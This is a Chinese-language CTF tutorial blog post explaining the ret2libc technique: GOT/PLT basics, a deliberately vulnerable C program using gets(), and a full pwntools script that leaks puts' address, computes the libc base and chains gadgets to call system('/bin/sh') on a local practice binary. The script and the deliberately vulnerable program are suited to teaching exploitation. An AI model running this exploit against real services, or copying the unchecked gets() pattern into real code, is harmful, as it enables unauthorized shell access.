ret2libc

Wednesday, October 26, 2022
本文共1272字
3分钟阅读时长
pwn

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/principle/ret2libc/。商业转载请联系作者获得授权,非商业转载请注明出处!

And as we let our own light shine, we unconsciously give other people permission to do the same. — Nelson Mandela

当程序由于没有后门函数等原因无法直接栈溢出时,我们可以利用 puts、write、printf 这种输出函数来得到程序动态链接的 libc 基址(段地址),然后通过虚拟内存计算偏移得到 system、/bin/sh 的真实地址,就可以通过安排栈来实现调用 system 函数

详细教程敬请查看该教程!感谢这位作者的付出! 同时,感谢为我解惑并和我一起探讨问题根源的几位大佬!

GOT&PLT

  • GOT:Global Offsets Table,一开始储存 PLT 表中相对于真实地址的偏移量,当该函数调用过一次后,就储存真实地址的指针,这样调用的时候就不用再计算一次偏移量,直接就能调用外部函数了
  • PLT:Procedure Linkage Table,保存着函数的虚拟地址

文内图片

例题

#include <stdio.h>

int main {
    char buffer[32];
    puts("Simple ROP.\n");
    gets(buffer);

    return 0;
}

二进制文件

分析

当我们看到这道题的时候,我们发现了一个 puts 函数,这是一个输出函数,只要我们能够通过该函数输出 puts 函数的真实地址,这样我们就可以通过 libc 的符号表提供的偏移量计算出 libc 的基址,从而计算得到 system 和"/bin/sh"的真实地址

如何 leak 出基址?

文内图片

main_addr= elf.sym["main"]
# 这两个地址通过ROPgadget --binary vuln --only "pop|ret"找到
# 这两个属于常用的小片段
# 如果该程序中没有pop rdi;ret这个gadget,就不能用常规的思路,需要变更思路了
pop_rdi_addr = 0x4011f3
ret_addr = 0x40101a
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
# 这里的offset为40,也就是0x28
payload1=b'a'*0x28+ p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

此时,如果没有出问题的话,程序应该打印出了一串 bytes,我们接收这段 bytes,然后通过p.recv(6)+b'\x00\x00'我们就能计算出puts的真实地址

文内图片 加两个\x00 是为了对齐

计算出 system 和"/bin/sh"的真实地址

此时我们已经有了puts的真实地址了,我们减去符号表中puts的偏移量,就能得到基址了

同样的逻辑,加上system"/bin/sh"的偏移量就是它俩的真实地址了。

libc_base = puts_addr-libc.sym['puts']
success("libc_base:"+hex(libc_base))
system_addr = libc_base+libc.sym['system']
bin_sh_addr = libc_base+next(libc.search(b'/bin/sh'))
success("system_addr:"+hex(system_addr))
success("bin_sh_addr:"+hex(bin_sh_addr))

构造第二个 payload 以获取系统权限

我们得到了需要用到的函数和函数需要使用的参数,我们现在只需要在返回值中填入适当的指令就能让程序运行我们想运行的函数了

需要注意的是,此时我们需要注意栈对齐的情况。因为栈指针 rsp 每一次移动都是+8,所以栈地址末尾不是 8 就是 0。而要正常调用 system,就要保证最后退出时栈的最后一位地址是 0,所以我们需要在pop rdi;ret之前调用一次ret,这样既能正常执行下一句指令(将下一句指令传给了 rip),又能保证退出时栈的最后一位为 0 > 更多信息请查阅该博文!感谢这位作者的付出!

可能出现的坑

程序中找不到pop rdi;ret的地址,只有pop rbp;ret的地址:编译有问题,可能是 gcc 版本导致的,可以使用我提供的二进制文件

全部代码

from pwn import *
from pwn import p64

context(log_level='debug',arch='amd64',os='linux')
p = process('./vuln1' )
# gdb.attach(p)
p.recvuntil("Simple ROP.\n\n")
elf = ELF('./vuln1' )
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
main_addr= elf.sym["main"]
pop_rdi_addr = 0x4011f3
ret_addr = 0x40101a
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
success(f"puts_plt:{hex(puts_plt)}")
success(f"puts_got:{hex(puts_got)}")
payload1=b'a'*0x28+ p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
success(f"payload1:{payload1}")
p.sendline(payload1)
received = p.recv(6)
print(received)
puts_addr = u64(received+b'\x00\x00')
print(puts_addr)
print(type(puts_addr))
success("puts_addr:"+hex(puts_addr))
libc_base = puts_addr-libc.sym['puts']
success("libc_base:"+hex(libc_base))
system_addr = libc_base+libc.sym['system']
bin_sh_addr = libc_base+next(libc.search(b'/bin/sh'))
success("system_addr:"+hex(system_addr))
success("bin_sh_addr:"+hex(bin_sh_addr))
payload2=b'a'*40+p64(ret_addr)+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
p.sendline(payload2)
p.interactive()